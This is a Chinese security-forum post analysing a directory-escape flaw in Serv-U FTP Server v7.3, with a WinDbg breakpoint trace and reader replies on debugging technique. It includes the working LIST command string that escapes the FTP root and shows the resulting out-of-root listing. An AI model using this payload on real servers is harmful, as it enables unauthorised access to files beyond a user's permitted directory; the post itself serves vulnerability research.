首页
社区
课程
招聘
[原创]Serv-U FTP Server Jail Break 0day 分析
发表于: 2011-12-3 17:21 7799

[原创]Serv-U FTP Server Jail Break 0day 分析

2011-12-3 17:21
7799

Serv-U FTP Server Jail Break 0day 分析
Author: instruder of Code Audit Labs of vulnhunt.com
测试版本Serv-U FTP Server v7.3
测试ftp根目录 c:\testftp

测试命令

ftp> ls "-a ..:\..:\kankan"
200 PORT Command successful.
150 Opening ASCII mode data connection for /bin/ls.
.
..
1.txt
upgrade_cache.cfg
226 Transfer complete. 33 bytes transferred. 2.01 KB/sec.
ftp: 收到 33 字节,用时 0.06秒 0.58千字节/秒。
0 e 1004d8ea     0001 (0001)  0:**** Serv_U_10000000!CSUString::MakeLower+0x4d31 ".if(1){db poi(edi+0x10);gc}"
 1 e 1004bae1     0001 (0001)  0:**** Serv_U_10000000!CSUString::MakeLower+0x2f28
 2 e 1005e048     0001 (0001)  0:**** Serv_U_10000000!CSUString::MakeFullPath+0x17c
 4 e 1004ba87     0001 (0001)  0:**** Serv_U_10000000!CSUString::MakeLower+0x2ece
 5 e 1004d553     0001 (0001)  0:**** Serv_U_10000000!CSUString::MakeLower+0x499a
 6 e 71a2676f     0001 (0001)  0:**** WS2_32!recv ".if(1){db poi(esp+8);gc}"
 7 e 1005dfc8     0001 (0001)  0:**** Serv_U_10000000!CSUString::MakeFullPath+0xfc ".if(1){.echo buildpath;db poi(eax+4)}"
 9 e 71a24c27     0001 (0001)  0:**** WS2_32!send ".if(1){db poi(esp+8);kb;gc}"
12 e 1005e325     0001 (0001)  0:**** Serv_U_10000000!CSUString::MakeFullPath+0x459 ".if(1){db poi(ecx)}"
16 e 10064b55     0001 (0001)  0:**** Serv_U_10000000!CFTPCommand::ProcessCommand+0x28 ".if(1){db poi(poi(esp)+4)}"
17 e 10070c41     0001 (0001)  0:**** Serv_U_10000000!CFTPCmdLIST::ProcessCommand+0x66 ".if(1){db poi(poi([esp+4])+4)}"
19 e 1005737b     0001 (0001)  0:**** Serv_U_10000000!SeparateLines+0x9da ".if(1){db poi(eax+4)}"
20 e 1005e7e6     0001 (0001)  0:**** Serv_U_10000000!CMibInternetConnection::GetIpAddr+0x202 ".if(1){db poi(poi(esp)+4)}"
21 e 1005eb54     0001 (0001)  0:**** Serv_U_10000000!CMibInternetConnection::GetIpAddr+0x570 ".if(1){db poi(poi(esp)+4)}"
24 e 1005ea5d     0001 (0001)  0:**** Serv_U_10000000!CMibInternetConnection::GetIpAddr+0x479 ".if(1){db poi(ebp-10)}"
25 e 10057373     0001 (0001)  0:**** Serv_U_10000000!SeparateLines+0x9d2 ".if(1){db poi(poi(esp)+4);db poi(poi(esp+4)+4)}"
27 e 100575ab     0001 (0001)  0:**** Serv_U_10000000!SeparateLines+0xc0a
32 e 10057136     0001 (0001)  0:**** Serv_U_10000000!SeparateLines+0x795 ".if(1){db poi(eax+4)}"

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 6
支持
分享
最新回复 (5)
雪    币: 292
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
这个问题,出得实在是不应该啊,首先就应该移除特殊字符……
2011-12-3 17:46
0
雪    币: 180
活跃值: (1313)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
3
不知道你的“就算简单请求路径如何传播的也花费了很大的力气才找到关键的地方”是怎么弄的,我最近也花时间根据paimei的原理写了类似的脚本,先是通过IDA脚本提取出所有的函数,然后让windbg下断点,但是用一个4M的软件测试了一下,发现提取出的函数多得要命,IDA脚本运行了半个小时,让windbg脚本给提取出来的函数下断点,花了一个多小时,而且运行的时候也慢的很,能否请教一下你那个是怎么弄的,咋样提高效率呢?
2011-12-4 15:44
0
雪    币: 146
活跃值: (182)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
4
就是用windbg看啊....大致看 CSUString类的函数 如何复制字符串之类的 返回值等等  你说的脚本 是查看程序的执行路径的吧? 不是数据流怎么传的?
2011-12-4 17:29
0
雪    币: 46
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
最近 刚转入 学习 python  这些语言 确实奇怪的
2011-12-7 17:25
0
雪    币: 473
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
这个漏洞前两天我也分析过,谢谢分享。。我没有分析这么详细。
2011-12-9 15:03
0
游客
登录 | 注册 方可回帖
返回
//